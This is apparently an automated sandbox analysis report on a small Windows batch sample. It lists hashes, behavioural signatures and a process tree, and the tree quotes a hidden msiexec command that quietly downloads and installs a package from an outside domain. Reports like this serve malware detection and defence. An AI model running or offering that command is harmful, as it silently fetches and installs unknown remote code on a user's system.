Analysis
- max time kernel
149s - max time network
136s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/09/2026, 13:59
Static task
static1
Behavioral task
behavioral1
Sample
command.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
command.bat
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
5 signatures
150 seconds
General
- Target command.bat
- Size 52B
- Sample260929-raqqpsts9p
- SHA256 8f6061c64c4bd2e6dfd3bdacd7f80a47476009784199a2959f7b85693964f01f
- MD5 6370297104f838269a366373b7c3edd0
- SHA1 bee8c6e275949171a5d041693f26ee831b51f120
- SHA512 a3773b0ebce0213beb3b22e7e43f9e09a35994f6adad8b4489672ede7fb918bcc1dc4aecc9e8cdcc12acb59aebfa9dae271970285f44aba363e5514f466b4a74
- TLSH T19790027220437490581151940148B24494125010AF0547408498B2681144479E64E8CC
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4304 msiexec.exe 21 4304 msiexec.exe 27 4304 msiexec.exe 28 4304 msiexec.exe 29 4304 msiexec.exe 30 4304 msiexec.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4024 cmd.exe - Suspicious use of AdjustPrivilegeToken 63 IoCs
description pid Process Token: SeShutdownPrivilege 2112 msiexec.exe Token: SeIncreaseQuotaPrivilege 2112 msiexec.exe Token: SeSecurityPrivilege 4304 msiexec.exe Token: SeCreateTokenPrivilege 2112 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2112 msiexec.exe Token: SeLockMemoryPrivilege 2112 msiexec.exe Token: SeIncreaseQuotaPrivilege 2112 msiexec.exe Token: SeMachineAccountPrivilege 2112 msiexec.exe Token: SeTcbPrivilege 2112 msiexec.exe Token: SeSecurityPrivilege 2112 msiexec.exe Token: SeTakeOwnershipPrivilege 2112 msiexec.exe Token: SeLoadDriverPrivilege 2112 msiexec.exe Token: SeSystemProfilePrivilege 2112 msiexec.exe Token: SeSystemtimePrivilege 2112 msiexec.exe Token: SeProfSingleProcessPrivilege 2112 msiexec.exe Token: SeIncBasePriorityPrivilege 2112 msiexec.exe Token: SeCreatePagefilePrivilege 2112 msiexec.exe Token: SeCreatePermanentPrivilege 2112 msiexec.exe Token: SeBackupPrivilege 2112 msiexec.exe Token: SeRestorePrivilege 2112 msiexec.exe Token: SeShutdownPrivilege 2112 msiexec.exe Token: SeDebugPrivilege 2112 msiexec.exe Token: SeAuditPrivilege 2112 msiexec.exe Token: SeSystemEnvironmentPrivilege 2112 msiexec.exe Token: SeChangeNotifyPrivilege 2112 msiexec.exe Token: SeRemoteShutdownPrivilege 2112 msiexec.exe Token: SeUndockPrivilege 2112 msiexec.exe Token: SeSyncAgentPrivilege 2112 msiexec.exe Token: SeEnableDelegationPrivilege 2112 msiexec.exe Token: SeManageVolumePrivilege 2112 msiexec.exe Token: SeImpersonatePrivilege 2112 msiexec.exe Token: SeCreateGlobalPrivilege 2112 msiexec.exe Token: SeShutdownPrivilege 2112 msiexec.exe Token: SeIncreaseQuotaPrivilege 2112 msiexec.exe Token: SeCreateTokenPrivilege 2112 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2112 msiexec.exe Token: SeLockMemoryPrivilege 2112 msiexec.exe Token: SeIncreaseQuotaPrivilege 2112 msiexec.exe Token: SeMachineAccountPrivilege 2112 msiexec.exe Token: SeTcbPrivilege 2112 msiexec.exe Token: SeSecurityPrivilege 2112 msiexec.exe Token: SeTakeOwnershipPrivilege 2112 msiexec.exe Token: SeLoadDriverPrivilege 2112 msiexec.exe Token: SeSystemProfilePrivilege 2112 msiexec.exe Token: SeSystemtimePrivilege 2112 msiexec.exe Token: SeProfSingleProcessPrivilege 2112 msiexec.exe Token: SeIncBasePriorityPrivilege 2112 msiexec.exe Token: SeCreatePagefilePrivilege 2112 msiexec.exe Token: SeCreatePermanentPrivilege 2112 msiexec.exe Token: SeBackupPrivilege 2112 msiexec.exe Token: SeRestorePrivilege 2112 msiexec.exe Token: SeShutdownPrivilege 2112 msiexec.exe Token: SeDebugPrivilege 2112 msiexec.exe Token: SeAuditPrivilege 2112 msiexec.exe Token: SeSystemEnvironmentPrivilege 2112 msiexec.exe Token: SeChangeNotifyPrivilege 2112 msiexec.exe Token: SeRemoteShutdownPrivilege 2112 msiexec.exe Token: SeUndockPrivilege 2112 msiexec.exe Token: SeSyncAgentPrivilege 2112 msiexec.exe Token: SeEnableDelegationPrivilege 2112 msiexec.exe Token: SeManageVolumePrivilege 2112 msiexec.exe Token: SeImpersonatePrivilege 2112 msiexec.exe Token: SeCreateGlobalPrivilege 2112 msiexec.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4024 wrote to memory of 2112 4024 cmd.exe 86
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\command.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4024 -
C:\Windows\system32\msiexec.exeMSieXeC /i https:\\dank-us.com/update\botcheck -QN2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2112
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:4304